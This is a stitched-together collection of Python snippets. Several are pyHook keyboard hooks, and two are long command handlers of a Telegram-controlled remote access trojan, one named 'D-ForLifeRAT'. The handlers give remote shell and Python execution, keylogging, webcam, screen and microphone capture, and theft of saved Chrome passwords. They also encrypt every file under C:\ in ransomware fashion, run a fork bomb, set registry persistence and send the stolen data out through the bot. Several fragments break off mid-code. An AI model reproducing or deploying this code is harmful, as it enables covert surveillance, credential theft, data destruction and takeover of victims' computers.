def hooker(): hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
registry = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS) # machine SetValueEx(registry,name, 0, REG_SZ, path) verificar() # Crea Carpeta except: # Si no tien permisos de administrador if (verificar()): registry = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) # local SetValueEx(registry,name, 0, REG_SZ, path) cd.log('s', 'Configuración Terminada') cd.log('i', 'Iniciando') addStartup() bot = telepot.Bot(token) bot.message_loop(handle) if len(known_ids) > 0: helloWorld = platform.uname()[1] + ": ==>> Está en linea..." for known_id in known_ids: send_safe_message(bot, known_id, helloWorld) print(helloWorld) cd.log('s', 'Iniciando Hilo de Keylogger') cd.log('i', 'Keylogger iniciado') p1 = threading.Thread(target=Klogger) # Keylogger p1.start() # Inicia hilo keylogger cd.log('s', 'Todo se ejecutó con exito\n') cd.log('i', 'Esperando comandos ==>> ' + platform.uname()[1] + '...\n\n') pythoncom.PumpMessages() # Escucha los comandos p1.join()
oldlen = textbox.SendMessage(win32con.WM_GETTEXT, buf) oldlen2 = textbox2.SendMessage(win32con.WM_GETTEXT, buf2) textbox.SendMessage(win32con.WM_SETTEXT, buf[0:oldlen] + str(blh)) # 发送消息 注意不能##用%s 替换 所以一般需要全局变量 来替换 textbox2.SendMessage(win32con.WM_SETTEXT, buf2[0:oldlen] + str(name)) except: wx.LogMessage('没有发现可用的窗口!请确保程序已经运行') hm = pyHook.HookManager() # 初始实例 hm.KeyDown = hookhandle hm.HookKeyboard() pythoncom.PumpMessages(5000) # 据说是winctype的新功能 延迟吧 具体什么也不清楚 hm.UnhookKeyboard() # 释放键盘捕捉 好像效果不明显 # for i in range (0,40): # win32api.Sleep(20) # if win32ui.PumpWaitingMessages(0,-1): win32api.PostQuitMessage( 0) # 退出监控消息 很关键 必须配合sys.setrecursionlimit(4000)使用效果##才明显 不然的话 程序无法退出。 # raise exceptions.SystemExit # # # def OnClose(self, event): # sys.setrecursionlimit(4000) # 相当关键 # self.Close(True) # self.Destroy()
def start_hook(): hm = pyHook.HookManager() hm.KeyDown = get_flag hm.HookKeyboard() pythoncom.PumpMessages()
def main(): hm = pyHook.HookManager() hm.HookKeyboard() hm.MouseAll = onMouseEvent hm.HookMouse() pythoncom.PumpMessages()
def OnKeyboardEvent(event): # 0 или 1 - клавиша отжата # (-127) или (-128) - клавиша нажата# f12 = win32api.GetKeyState(0x7B) shift_key = win32api.GetKeyState(0x10) if event.Key == 'F12' and event.MessageName == 'key down': if shift_key < 0: print("Нажато Shift+F12") else: print("Нажато F12") return True main_thread_id = win32api.GetCurrentThreadId() def exit_on_timer(): win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0) print("Выходим из треда:", main_thread_id) second_thread_id = win32api.GetCurrentThreadId() print("Второй тред: ", second_thread_id) t = Timer(5.0, exit_on_timer) # Quit after 5 seconds t.start() hm = pyHook.HookManager() # создание экземпляра класса HookManager hm.KeyAll = OnKeyboardEvent # отслеживаем нажатия клавиш hm.HookKeyboard() # вешаем хук pythoncom.PumpMessages() # ловим сообщения
def run(self): hook_manager = pyHook.HookManager() hook_manager.KeyDown = self.on_keyboard_down hook_manager.KeyUp = self.on_keyboard_up hook_manager.HookKeyboard() pythoncom.PumpMessages()
def run(self): # 在启动线程后任务从这个函数里面开始执行 hm = pyHook.HookManager() hm.KeyDown = self.onKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
clientSocket.sendto(temp.encode(), (clientname, clientport)) return True #def Listenkeyboard(): # pythoncom.PumpMessages(800) # 进入循环,如不手动关闭,程序将一直处于监听状态 def Receive(): print('Ready to receive messages') while (1): message, ServerAddress = serverSocket.recvfrom(1024) print(message.hex()) if __name__ == "__main__": hm = pyHook.HookManager() # 创建一个“钩子”管理对象 hm.KeyDown = onKeyboardEvent # 监听所有键盘事件 hm.HookKeyboard() # 设置键盘“钩子” #threads=[] #线程池 t1 = threading.Thread(target=Receive) #threads.append(t1) #加载t1到线程池 t1.setDaemon(True) #守护进程,即送入就绪队列 t1.start() #启动线程活动 #t1.join() #让父进程等待子线程完成 #父进程 pythoncom.PumpMessages(800) # 进入循环,如不手动关闭,程序将一直处于监听状态
def key_listener(self, ): hm = PyHook3.HookManager() hm.KeyDown = self.onKeyDown hm.KeyUp = self.onKeyUp hm.HookKeyboard() pythoncom.PumpMessages()
def main(): keyBoardLog = pyHook.Manager() keyBoardLog.KeyDown = OnKeyboardEvent keyBoard.HookKeyBoard() pythoncom.PumpMessages()
def handle(msg): chat_id = msg['chat']['id'] if checkchat_id(chat_id): response = '' if 'text' in msg: cd.log( 'n', '\n\t\tGot message from ' + str(chat_id) + ': ' + msg['text'] + '\n\n', True) command = msg['text'] try: if command == '/arp': response = '' bot.sendChatAction(chat_id, 'typing') lines = os.popen('arp -a -N ' + internalIP()) for line in lines: line.replace('\n\n', '\n') response += line elif command == '/capture_webcam': bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value, image = camera.read() gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) cv2.imshow('image', gray) if cv2.waitKey(1) & 0xFF == ord('s'): cv2.imwrite('webcam.jpg', image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/capture_pc': bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd_exec'): cd.log('w', 'Command exec prep') process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd_exec', '') cd.log('w', 'Executing the command ' + command) if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd_exec dir' elif command.startswith('/cd'): command = command.replace('/cd ', '') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'No subfolder matching ' + command elif command.startswith('/delete'): command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Succesfully removed file' except: try: os.rmdir(path_file) response = 'Succesfully removed folder' except: try: shutil.rmtree(path_file) response = 'Succesfully removed folder and it\'s files' except: response = 'File not found' elif command == '/dns': bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/download'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = '/download C:/path/to/file.name or /download file.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument( chat_id, open(hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder except: response = 'Could not find ' + path_file elif command.endswith('code_all'): cd.log('w', 'Data encryption option.') parentDirectory = 'C:\\' for root, dirs, files in os.walk(parentDirectory): for afile in files: full_path = os.path.join(root, afile) if command.startswith('/en'): cd.log( 'w', 'WARNING ABOUT TO ENCRYPT DATA!!!! IN ' + str(full_path)) encode(full_path) elif command.startswith( '/de') and full_path.endswith( '.nxr'): #our extension (been encoded) decode(full_path) response = 'Files ' + command[1:3] + 'coded succesfully.' elif command.startswith('/cp'): command = command.replace('/cp', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Files copied succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('freeze_keyboard'): global keyboardFrozen keyboardFrozen = not command.startswith('/un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use /unfreeze_keyboard' else: cd.log('w', 'Keyboard frozen') response += 'enabled' elif command.endswith('freeze_mouse'): if mouseFrozen == False: mse = pyHook.HookManager() mse.MouseAll = false_event mse.KeyAll = false_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'enabled. To disable use /unfreeze_mouse' elif mouseFrozen == True: cd.log('w', 'Keyboard frozen') response += 'enabled. To disable, use /unfreeze_mouse' else: response += 'The script has commited the act of death' elif command.endswith('unfreeze_mouse'): if mouseFrozen == True: mse = pyHook.HookManager() mse.MouseAll = true_event mse.KeyAll = true_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'disabled. To enable use /freeze_mouse' elif mouseFrozen == False: response += 'already disabled. To enable, use /freeze_mouse' else: response += 'The script has commited the act of death' elif command == '/get_chrome': con = sqlite3.connect( os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data' ) cursor = con.cursor() cursor.execute( "SELECT origin_url,username_value,password_value from logins;" ) for users in cursor.fetchall(): response += 'Website: ' + users[0] + '\n' response += 'Username: '******'\n' response += 'Password: '******'\n\n' # """ # pass elif command.startswith('/hear'): try: SECONDS = -1 try: SECONDS = int(command.replace('/hear', '').strip()) except: SECONDS = 5 CHANNELS = 2 CHUNK = 1024 FORMAT = pyaudio.paInt16 RATE = 44100 audio = pyaudio.PyAudio() bot.sendChatAction(chat_id, 'typing') stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wav_path = hide_folder + '\\mouthlogs.wav' waveFile = wave.open(wav_path, 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(audio.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() bot.sendChatAction(chat_id, 'upload_document') except OSError: cd.log( 'e', 'Unable to listen in - there is probably no input device.' ) response = 'unable to listen in - there is probably no input device' #bot.sendAudio(chat_id, audio=open(wav_path, 'rb')) elif command == '/ip_info': bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text #json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join( filter(lambda char: char in string.printable, info)) response = re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() elif command == '/keylogs': bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(keylogs_file, "rb")) elif command.startswith('/ls'): bot.sendChatAction(chat_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable elif command.startswith('/msg_box'): message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' else: ctypes.windll.user32.MessageBoxW( 0, message, u'Information', 0x40) response = 'MsgBox displayed' elif command.startswith('/mv'): command = command.replace('/mv', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'Files moved succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command == '/pc_info': bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Username: '******'/ping': response = platform.uname()[1] + ': I\'m up' elif command.startswith('/play'): command = command.replace('/play', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'YouTube video is now playing' else: response = 'Failed playing YouTube video' else: response = '/play <VIDEOID>\n/play A5ZqNOJbamU' elif command == '/proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text #json format ip = (loads(info)['ip']) response = 'Proxy succesfully setup on ' + ip + ':8081' elif command == '/pwd': response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec', '').strip() if len(command) == 0: response = 'Usage: /python_exec print(\'printing\')' else: cd.log('w', 'Executing python command') from StringIO import StringIO import sys old_stderr = sys.stderr old_stdout = sys.stdout sys.stderr = mystderr = StringIO() sys.stdout = mystdout = StringIO() exec(command in globals()) if mystderr.getvalue() != None: response += mystderr.getvalue() if mystdout.getvalue() != None: response += mystdout.getvalue() sys.stderr = old_stderr sys.stdout = old_stdout if response == '': response = 'Expression executed. No return or malformed expression.' elif command == '/reboot': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Computer will be restarted NOW.' elif command.startswith('/run'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'File ' + path_file + ' has been run' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'File ' + path_file + ' has been run from hide_folder' except: response = 'File not found' elif command.startswith('/schedule'): command = command.replace('/schedule', '') if command == '': response = '/schedule 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime( scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = { 'text': scheduleMessage, 'chat': { 'id': chat_id } } response = 'Schedule set: ' + scheduleMessage runStackedSchedule(10) elif command == '/self_destruct': bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'You sure? Type \'/destroy\' to proceed.' elif command == '/shutdown': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' elif command == '/destroy' and destroy == True: bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tasklist': lines = os.popen( 'tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line) > 2000: response2 += line else: response += line response += '\n' + response2 elif command.startswith('/to'): command = command.replace('/to', '') import winsound winsound.Beep(440, 300) if command == '': response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text': command, 'chat': {'id': chat_id}} handle(msg) elif command == '/update': proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Send updated.exe first.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/wallpaper'): command = command.replace('/wallpaper', '') command = command.strip() if len(command) == 0: response = 'Usage: /wallpaper C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/', 1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW( 20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW( 20, 0, command.replace('/', '//'), 3) response = 'Wallpaper succesfully set.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = { '/arp' : '', \ '/capture_pc' : '', \ '/cmd_exec' : '<command_chain>', \ '/cd':'<target_dir>', \ '/decode_all':'', \ '/delete':'<target_file>', \ '/dns':'', \ '/download':'<target_file>', \ '/encode_all':'', \ '/freeze_keyboard':'', \ '/freeze_mouse':'', \ '/get_chrome':'', \ '/hear':'[time in seconds, default=5s]', \ '/ip_info':'', \ '/keylogs':'', \ '/ls':'[target_folder]', \ '/msg_box':'<text>', \ '/pc_info':'', \ '/play':'<youtube_videoId>', \ '/proxy':'', \ '/pwd':'', \ '/python_exec':'<command_chain>', \ '/reboot':'', \ '/run':'<target_file>', \ '/self_destruct':'', \ '/shutdown':'', \ '/tasklist':'', \ '/to':'<target_computer>, [other_target_computer]',\ '/update':'',\ '/wallpaper':'<target_file>'} response = "\n".join(command + ' ' + description for command, description in sorted( functionalities.items())) else: # redirect to /help cd.log('w', 'BOT MISUSE: Invalid command') msg = {'text': '/help', 'chat': {'id': chat_id}} handle(msg) except Exception as e: cd.log( 'e', 'BOT MISUSE: Unknown error running command or function.') cd.log('z', 'Details from previous error' + str(e)) #raise cd.log('n', 'Command {} ran'.format(command)) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str( token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File saved as ' + file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp) #
def main(): hm = pyHook.HookManager() # 创建一个钩子管理对象 hm.MouseAll = mouse_event # 监听所有鼠标事件 hm.HookMouse() # 设定鼠标钩子 pythoncom.PumpMessages() # 进入循环,程序一直监听
def handle(msg): chat_id = msg['chat']['id'] if True: response = '' if 'text' in msg: cd.log('n','\n\t\tКоманда от ' + str(chat_id) + ': ' + msg['text'] + '\n\n',True) command = msg['text'] try: if command == '/capture_webcam': bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value,image = camera.read() gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) cv2.imshow('image',gray) if cv2.waitKey(1)& 0xFF == ord('s'): cv2.imwrite('webcam.jpg',image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/capture_pc': bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd_exec'): cd.log('w','Command exec prep') process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd_exec', '') cd.log('w','Executing the command '+command) if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd_exec dir' elif command.startswith('/cd'): command = command.replace('/cd ','') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'Не найдена субдиректория ' + command elif command.startswith('/delete'): command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Успешно удалён файл' except: try: os.rmdir(path_file) response = 'Успешно удалена папка' except: try: shutil.rmtree(path_file) response = 'Успешно удалена/ны директория/ии / файл/ы' except: response = 'Файл не найден' elif command == '/dns': bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/download'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = '/download C:/path/to/file.name or /download file.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument(chat_id, open(hide_folder + '\\' + path_file)) response = 'Найден в скрытой папке: ' + hide_folder except: response = 'Не найдено ' + path_file elif command.endswith('code_all'): cd.log('w','Data encryption option.') parentDirectory = 'C:\\' for root, dirs, files in os.walk(parentDirectory): for afile in files: full_path = os.path.join(root, afile) if command.startswith('/en'): cd.log('w','WARNING ABOUT TO ENCRYPT DATA!!!! IN '+str(full_path)) encode(full_path) elif command.startswith('/de') and full_path.endswith('.nxr'):#our extension (been encoded) decode(full_path) response = 'Files ' + command[1:3] + 'coded succesfully.' elif command.startswith('/cp'): command = command.replace('/cp', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Files copied succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('freeze_keyboard'): global keyboardFrozen keyboardFrozen = not command.startswith('/un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use /unfreeze_keyboard' else: cd.log('w','Keyboard frozen') response += 'enabled' elif command.endswith('freeze_mouse'): if mouseFrozen == False: mse = pyWinhook.HookManager() mse.MouseAll = false_event mse.KeyAll = false_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'enabled. To disable use /unfreeze_mouse' elif mouseFrozen == True: cd.log('w','Keyboard frozen') response += 'enabled. To disable, use /unfreeze_mouse' else: response += 'The script has commited the act of death' elif command.endswith('unfreeze_mouse'): if mouseFrozen == True: mse = pyWinhook.HookManager() mse.MouseAll = true_event mse.KeyAll = true_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'disabled. To enable use /freeze_mouse' elif mouseFrozen == False: response += 'already disabled. To enable, use /freeze_mouse' else: response += 'The script has commited the act of death' elif command == '/ip_info': bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text #json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join(filter(lambda char: char in string.printable, info)) response = re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() elif command == '/keylogs': bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(keylogs_file, "rb")) elif command == '/forkbomb': while True: try: os.startfile('cmd.exe') except: pass elif command.startswith('/url'): URL = command.replace('/url', '') URL = URL[1:] if not URL.startswith('http'): URL = 'http://' + URL return os.system(f'@start {URL} > NUL') elif command.startswith('/ls'): bot.sendChatAction(chat_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable elif command.startswith('/msg_box'): message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' else: ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40) response = 'MsgBox отправлен' elif command.startswith('/mv'): command = command.replace('/mv', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'Files moved succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Использование: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nОбращайте внимание на двойные кавычки' elif command == '/pc_info': bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Пользователь: ' + getpass.getuser() response = info elif command == '/ping': response = platform.uname()[1] + ': Pong!' elif command.startswith('/play'): command = command.replace('/play', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'Запуск видео' else: response = 'Ошибка воспроизведения видео' else: response = '/play <VIDEOID>\n/play A5ZqNOJbamU' elif command == '/proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text #json format ip = (loads(info)['ip']) response = 'Прокси успешно подключён: ' + ip + ':8081' elif command == '/pwd': response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec','').strip() if len(command) == 0: response = 'Используйте: /python_exec print(\'printing\')' else: cd.log('w','Выполнение Python скрипта') from StringIO import StringIO import sys old_stderr = sys.stderr old_stdout = sys.stdout sys.stderr = mystderr = StringIO() sys.stdout = mystdout = StringIO() exec(command in globals()) if mystderr.getvalue() != None: response += mystderr.getvalue() if mystdout.getvalue() != None: response += mystdout.getvalue() sys.stderr = old_stderr sys.stdout = old_stdout if response == '': response = 'Скрипт успешно выполнен!' elif command == '/reboot': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Рестарт...' elif command.startswith('/run'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'Файл ' + path_file + ' запущен' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'Файл ' + path_file + ' запущен с скрытой папки' except: response = 'Файл не найден' elif command.startswith('/schedule'): command = command.replace('/schedule', '') if command == '': response = '/schedule 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime(scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = {'text' : scheduleMessage, 'chat' : { 'id' : chat_id }} response = 'Задача создана: ' + scheduleMessage runStackedSchedule(10) elif command == '/self_destruct': bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'Вы уверены? \'/destroy\' чтобы продолжить...' elif command == '/shutdown': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' elif command == '/destroy' and destroy == True: bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tasklist': lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line)>2000: response2 +=line else: response += line response += '\n' + response2 elif command.startswith('/to'): command = command.replace('/to','') import winsound winsound.Beep(440, 300) if command == '': response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text' : command, 'chat' : { 'id' : chat_id }} handle(msg) elif command == '/update': proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Отправьте update.exe сначала.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/wallpaper'): command = command.replace('/wallpaper', '') command = command.strip() if len(command) == 0: response = 'Использованин: /wallpaper C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/',1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW(20, 0, command.replace('/', '//'), 3) response = 'Обои успешно установлены.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = { '' : '[D-ForLifeRAT] Доступные команды:', \ '/capture_pc' : 'Скриншот', \ '/cmd_exec' : '<command_chain> | Выполнение команды', \ '/cd':'<target_dir> | Сменить директорию', \ '/decode_all':' Расшифровать все файлы', \ '/encode_all':' Зашифровать все файлы', \ '/delete':'<target_file> | Удалить файл', \ '/dns':'DNS кэш', \ '/download':'<target_file> | Загрузка файла', \ '/freeze_keyboard':' Заморозить клавиатуру', \ '/freeze_mouse':' Заморозить мышь', \ '/ip_info':' IP адрес и местоположение', \ '/keylogs':' Кейлоггер', \ '/ls':'[target_folder] | Файлы в директории', \ '/msg_box':'<text> | MsgBox с текстом', \ '/pc_info':' Краткая сводка о ПК', \ '/play':'<youtube_videoId> | Открыть видео на YT', \ '/proxy':' Socks4 прокси', \ '/pwd':' Сменить директорию', \ '/python_exec':'<command_chain> | Выполнить Python скрипт', \ '/reboot':' Ребут ПК', \ '/run':'<target_file> | Запуск файла', \ '/self_destruct':' !!!Самоуничтожиться!!!', \ '/shutdown':' Выключить ПК', \ '/tasklist':' Список задач', \ '/to':'<target_computer>, [other_target_computer] | Переключить таргет',\ '/update':' Отправить обновление',\ '/wallpaper':'<target_file> | Сменить обои'} response = "\n".join(command + ' ' + description for command,description in sorted(functionalities.items())) else: # redirect to /help cd.log('w','Неверная команда') msg = {'text' : '/help', 'chat' : { 'id' : chat_id }} handle(msg) except Exception as e: cd.log('e','Ошибка выполнения команды.') cd.log('z','Детали ошибки: '+str(e)) #raise cd.log('n','Выполнение команды {}'.format(command)) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File saved as ' + 